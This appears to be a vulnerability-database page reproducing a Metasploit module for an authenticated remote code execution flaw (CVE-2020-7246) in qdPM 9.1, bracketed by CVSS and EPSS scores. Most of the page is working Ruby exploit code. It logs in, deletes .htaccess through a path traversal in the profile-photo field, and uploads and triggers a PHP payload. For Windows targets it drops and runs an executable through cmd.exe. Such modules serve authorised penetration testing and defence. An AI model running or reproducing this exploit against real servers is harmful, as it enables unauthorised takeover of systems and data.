Lucene search

K
zdtMetasploit1337DAY-ID-38004
HistorySep 29, 2022 - 12:00 a.m.

qdPM 9.1 Authenticated Shell Upload Exploit

2022-09-2900:00:00
metasploit
0day.today
448
metasploit
exploit
qdpm 9.1
cve-2020-7246
remote code execution
php file upload
path traversal
incomplete fix

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.969

Percentile

99.8%

A remote code execution vulnerability exists in qdPM versions 9.1 and below. An attacker can upload a malicious PHP code file via the profile photo functionality by leveraging a path traversal vulnerability in the users[‘photop_preview’] delete photo feature thus allowing bypass of .htaccess protection. NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
        'Description' => %q{
          A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
          An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
          vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
          NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rishal Dwivedi (Loginsoft)', # Discovery
          'Leon Trappett (thepcn3rd)', # PoC
          'Giacomo Casoni' # Metasploit
        ],
        'References' => [
          ['CVE', '2020-7246'],
          ['EDB', '50175']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => %w[linux php],
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-11-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['IOC_IN_LOGS'],
          'SideEffects' => ['REPEATABLE_SESSION']
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
        OptString.new('EMAIL', [true, 'The email to login with']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = normalize_uri(uri, '/index.php')
    res = send_request_raw({ 'uri' => uri })
    if res.nil?
      return Exploit::CheckCode::Unknown
    end

    login_page = res.get_html_document
    begin
      version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
    rescue StandardError
      return Exploit::CheckCode::Unknown
    end
    version = Rex::Version.new(version_num)
    if version <= Rex::Version.new('9.1')
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def get_write_exec_payload_win(fname, _data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end

  def login(base, username, password)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'keep_cookies' => true
    })
    login_page = res.get_html_document
    csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'vars_post' => {
        'login[email]' => username,
        'login[password]' => password,
        'login[_csrf_token]' => csrf_token
      },
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}/#{base}/index.php/login"
      }
    })
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true,
      'headers' => {
        'Host' => rhost.to_s
      }
    })
    account_page = res.get_html_document
    begin
      userid = account_page.at("input[@name='users[id]']/@value").text.strip
    rescue StandardError
      print_error('The designated admin account does not have a user ID.')
      return {}
    end
    username = account_page.at("input[@name='users[name]']/@value").text.strip
    csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
    opts = {
      'user_id' => userid,
      'name' => username,
      'csrf_token' => csrftoken_
    }
    return opts
  end

  def upload_php(base, opts)
    fname = opts['filename']
    php_payload = opts['data']
    user_id = opts['user_id']
    email = opts['email']
    csrf_token = opts['csrf_token']

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' },
      { 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
    ]

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    })

    return res.code == 302
  end

  def exec_php(base, _opts)
    res = send_request_cgi({
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true
    })
    home_page = res.get_html_document
    backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
    register_file_for_cleanup(backdoor)
    send_request_cgi({
      'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
    })
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    user = datastore['EMAIL']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with '#{user}:#{pass}'")
    opts = login(uri, user, pass)
    if opts.empty?
      print_error('Login unsuccessful or bad (admin) user')
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    case target['Platform']
    when 'php'
      p = get_write_exec_payload
    when 'linux'
      p = get_write_exec_payload(unlink_self: true)
    when 'win'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      bin = generate_payload_exe
      p = get_write_exec_payload_win(bin_name.to_s, bin)
      print_warning("#{bin_name} will require manual cleanup")
    end

    print_status("Uploading PHP payload (#{p.length} bytes)...")
    data = {
      'email' => user.to_s,
      'filename' => php_fname,
      'data' => p
    }
    data = data.merge(opts)
    uploader = upload_php(uri, data)
    if !uploader
      print_error('Unable to upload')
      return
    end

    print_status("Executing '#{php_fname}'")
    exec_php(uri, opts)
  end
end

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.969

Percentile

99.8%